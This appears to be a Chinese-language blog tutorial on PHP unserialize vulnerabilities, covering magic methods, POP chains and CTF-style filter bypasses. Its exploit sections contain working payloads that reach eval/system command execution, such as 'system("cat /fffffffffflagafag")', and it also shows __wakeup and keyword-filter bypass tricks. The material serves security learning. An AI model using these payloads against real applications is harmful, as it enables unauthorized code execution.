PHP反序列化

参考文章链接 链接

什么是PHP反序列化漏洞?

在PHP中,unserialize() 函数用于将之前通过 serialize() 函数序列化的字符串还原成PHP的原始数据结构,如数组或对象。如果 unserialize() 处理的数据来自不可信的来源(例如用户输入),且没有适当的验证和清理,攻击者就能够控制此数据以尝试创建任何类型的对象,并调用其方法。

漏洞产生原因

控制对象创建:攻击者可以控制序列化字符,强制应用程序创建特定的对象实例。

魔术方法触发:一些魔术方法如 __wakeup(), __destruct(), __toString(), 和 __call() 在对象的生命周期的特定时刻自动执行。如果攻击者可以控制这些对象的创建,他们可以触发这些方法以执行恶意代码。

利用现有的应用逻辑:在某些情况下,即使没有直接执行代码的能力,攻击者也可以通过改变应用状态或行为来利用应用逻辑。

php序列化的字母标识:

1
2
3
4
5
6
7
8
9
10
11
12
a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
1
2
3
4
5
6
7
8
各类型值的serialize序列化:

空字符 null -> N;
整型 123 -> i:123;
浮点型 1.5 -> d:1.5;
boolean型 true -> b:1;
boolean型 fal -> b:0;
字符串 “haha” -> s:4:"haha";

类中的属性(public、protected、private)

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问

private(私有):私有的类成员则只能被其定义所在的类访问

注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

其中:\x00 表示空字符,但是还是占用一个字符位置(空格),如下例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'Hardworking666';
$this->gender = 'male';
$this->age = '18';
}
}
$a = new People();
echo serialize($a);
?>

1
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

常见的php反序列化ctf题目的做题步骤

1、复制源代码到本地

2、注释掉和属性无关的内容(只剩类名和属性)

3、根据题目需要给属性赋值(最关键的一步)

4、生成序列化数据(pop链),通常要urlencode

5、传递数据到服务器(攻击目标)

POP链构造

在计算机安全领域,特别是在讨论反序列化漏洞时,”POP链”通常指的是”属性方向的编程”(Property-Oriented Programming)链。这种技术利用了应用程序中的已有代码,尤其是那些可以通过对象的一系列属性调用或方法调用来触发的代码。攻击者通过精心构造的恶意输入(即序列化的对象),使得在反序列化过程中会触发预定义的方法链,执行潜在的恶意活动。

一个 “POP链” 通常涉及以下几个步骤:

1.选择目标函数

首先,需要识别应用程序中哪些现有的函数可以被用于执行恶意行为,常见的可利用函数如下所示:

(1)命令执行函数

exec(),shell_exec(), system(), passthru(), proc_open和popen()

exec() 函数执行一个外部程序,并且只返回最后一行的输出结果。

1
2
3
exec('ls -l', $output, $return_var);
print_r($output); // 打印所有输出行的数组
echo $return_var; // 执行状态代码

shell_exec() 执行通过 shell 的命令,并且将完整的输出作为字符串返回。

1
2
$output = shell_exec('ls -l');
echo "<pre>$output</pre>"; // 显示命令输出

system() 函数用于执行外部程序,并显示输出。它是实时显示输出,适合用于需要即时反馈的场合。

1
system('ls -l');

passthru() 函数执行一个外部程序,并直接将原始输出传递给浏览器。

1
passthru('cat image.png'); // 输出图片文件的内容

(2)代码执行函数

eval() ,create_function() ,assert()

eval() 函数将字符串作为 PHP 代码执行。

1
2
$code = 'echo "Hello, world!";';
eval($code);

(3)文件读取类函数

file_get_contents(), fread(),readfile()

file_get_contents()读取整个文件到一个字符串。

1
2
$content = file_get_contents("example.txt");
echo $content;

fread()从文件指针中读取数据,必须使用fopen()打开文件。

1
2
3
4
$file = fopen("example.txt", "r");
$content = fread($file, filesize("example.txt"));
fclose($file);
echo $content;

(4)文件写入类函数

file_put_contents(), fwrite()

file_put_contents()将字符串写入文件中

1
file_put_contents("example.txt", "Hello World!");

fwrite()像文件中写入数据,需要先用fopen()打开文件并获取文件指针

1
2
3
$file = fopen("example.txt", "w");
fwrite($file, "Hello World!");
fclose($file);

(5)文件包含函数

include、require、include_once、require_once

2.构造对象图

然后,创建一个对象图,这些对象通过它们的方法和属性相互关联,以确保当触发反序列化时可以按照特定顺序调用目标方法。

3.控制流程

通过操纵对象状态和方法调用顺序,达到控制应用程序行为的目的。

简单举例:

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestClass {
public $test;
function __wakeup() {
eval($this->test);
}
}

// 恶意用户控制的数据
$data = '';
unserialize($data);

data序列化数据构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestClass {
public $test;
function __wakeup() {
eval($this->test);
}
}

$a=new TestClass();
$a->test = 'system(ls);';

echo serialize($a);
//此简单例子中无需任何绕过,仅将实例a的test值赋值为system(ls);,在根据魔术方法 __wakeup()在使用 unserialize()方法时自动调用,达到命令执行的目的。

常见魔术方法的触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//魔术方法

__construct() //类的构造函数,创建对象时触发

__destruct() //类的析构函数,对象被销毁时触发

__call() //调用对象不可访问、不存在的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //调用不可访问、不存在的对象成员属性时触发

__set() //在给不可访问、不存在的对象成员属性赋值时触发

__isset() //当对不可访问属性调用isset()或empty()时触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //把对象当初函数调用时触发

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //把对象当成字符串调用时触发

__clone() //使用clone关键字拷贝完一个对象后触发

__construct()和__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//__construct()和__destruct()

<?php
class test
{
public $a="haha";
public function __construct()
{
echo "已创建--";
}
public function __destruct()
{
echo "已销毁";
}
}
$a=new test();

?>

//输出:
已创建--已销毁

//对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

__sleep()和__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//__sleep()和__wakeup()

<?php
class test
{
public $a="haha";
public function __sleep()
{
echo "使用了serialize()--";
return array("a");
}
public function __wakeup()
{
echo "使用了unserialzie()";
}
}

$a=new test();
$b=serialize($a);
$c=unserialize($b);

?>

//输出:
使用了serialize()--使用了unserialzie()

//对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()

__toString()和__invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//__toString()和__invoke()

<?php
class test
{
public $a="haha";
public function __toString()
{
return "被当成字符串了--";
}
public function __invoke()
{
echo "被当成函数了";
}
}

$a=new test();
echo $a;
$a();

?>

//输出:
被当成字符串了--ss被当成函数了

//ehco $a 把对象当成字符串输出触发了__toString(),$a() 把对象当成
//函数执行触发了__invoke()

__call()和其他魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//__call()和其他魔术方法

<?php
class test
{
public $h="haha";

public function __call($arg1,$arg2)
{
echo "你调用了不存在的方法";
}
}

$a=new test();
$a->h();

?>

//输出:
你调用了不存在的方法

//$a->h()调用了不存在的方法触发了__call()方法,其他魔术方法类似不再演示

一些简单的php反序列化绕过方法

__wakeup()方法漏洞

存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;

调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,以下的简单例题是__wakeup()方法漏洞的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//__wakeup()方法绕过例题

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}

分析:

    只要满足__destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;

    然而,在反序列化调用unserialize()方法时会触发__wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;

    因此需要避免__wakeup方法的触发,这就需要可以利用__wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HaHaHa{
public $admin="admin";
public $passwd="wllm";
}

$a=new HaHaHa();

$b=serialize($a);
echo "?p=".$b;

?>

//输出:
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

//将成员属性数量2改为3,大于实际值2即可,payload如下:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//简单例题

<?php

show_source(__FILE__);

###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
NSSCTF{This_iS_SO_SO_SO_EASY}

分析

    魔术方法___wakeup()会使变量a为空,且由于正则限制无法通过改变成员数量绕过__wakeup(),这时可以使用引用的方法,使变量a与变量b永远相等,魔术方法__destruct()把变量c值赋给变量b时,相当于给变量a赋值,这就可以完成命令执行,payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test
{
public $a;
public $b;
public $c='system("cat /fffffffffflagafag");';

}
$h = new test();
$h->b = &$h->a; //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
echo '?a='.serialize($h);

//输出
//?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}

对类属性不敏感

protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00* %00和%00类名%00也可以被正确解析;

大写S当十六进制绕过

表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;

1
2
3
4
5
例如   s:13:"SplFileObject"  中的Object被过滤

可改为 S:13:"SplFileOb\6aect"

小写s变大写S,长度13不变,\6a是字符j的十六进制编码

php类名不区分大小写

1
2
3
4
5
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}

等效于

O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}

PHP反序列化
http://example.com/2024/12/19/PHP反序列化/
作者
big_freeze_mouse
发布于
2024年12月19日
许可协议